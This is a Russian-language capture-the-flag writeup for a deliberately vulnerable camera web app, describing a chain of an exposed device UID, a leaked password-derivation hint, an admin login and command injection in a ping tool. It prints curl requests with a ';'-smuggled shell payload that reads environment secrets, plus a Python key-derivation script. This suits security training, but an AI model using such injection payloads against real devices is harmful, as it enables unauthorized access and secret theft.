Files
Kubok-Regionov/GAME/camera/writeup.md
2025-12-22 05:19:38 +03:00

54 lines
2.5 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# Writeup: LookyCam (camera)
Ниже — ожидаемый путь решения: добыть UID, вычислить пароль администратора по подсказанной KDF, получить RCE через ping и собрать финальный ключ.
## Шаги решения
1. PWD_PART_A -получили из стеги в хранилище
1. Открыть `/login` и получить `CAMERA_UID`. Он приходит в заголовке `X-Device-Id` и дублируется на странице.
2. Сымитировать 3 неудачных логина. После третьей попытки сервер вернёт заголовок `X-Password-KDF` с формулой:
`sha1(part + ":" + uid)[0:10]`.
3. Подставить известную часть `partA` и посчитать пароль:
`password = sha1(partA:uid)[:10]`.
4. Войти в `/admin` под `admin` с этим паролем и получить сессию.
5. В `/admin/tools/ping` есть command injection: значение `host` без фильтрации попадает в `sh -lc "ping ... ${host}"`.
Через `;` можно выполнить произвольные команды и прочитать переменные окружения:
`127.0.0.1; echo RCE:$CAMERA_RCE_FLAG; echo PARTC:$PWD_PART_C`
6. Из ответа взять `PWD_PART_C` и флаг RCE.
7. Посчитать ключ для `/admin/redeem`:
`key = sha1(partA:partC:uid)[:16]`.
8. Отправить ключ в `/admin/redeem` и получить финальный флаг.
## Примеры запросов
```bash
# 1) UID
curl -i http://<host>/login
# 2) 3 фейл-логина, смотрим X-Password-KDF в ответе
curl -i -d "username=admin&password=bad" http://<host>/login
# 3) Логин с правильным паролем
curl -i -c cookies.txt -d "username=admin&password=<calc>" http://<host>/login
# 4) Инъекция в ping
curl -i -b cookies.txt -d "host=127.0.0.1; echo RCE:\$CAMERA_RCE_FLAG; echo PARTC:\$PWD_PART_C" \
http://<host>/admin/tools/ping
# 5) Редим финального флага
curl -i -b cookies.txt -d "key=<calc>" http://<host>/admin/redeem
```
```python
import hashlib
def sha1(x: str) -> str:
return hashlib.sha1(x.encode()).hexdigest()
uid = "LCAM-9f31"
part_a = "..."
part_c = "..."
password = sha1(f"{part_a}:{uid}")[:10]
key = sha1(f"{part_a}:{part_c}:{uid}")[:16]
print(password, key)
```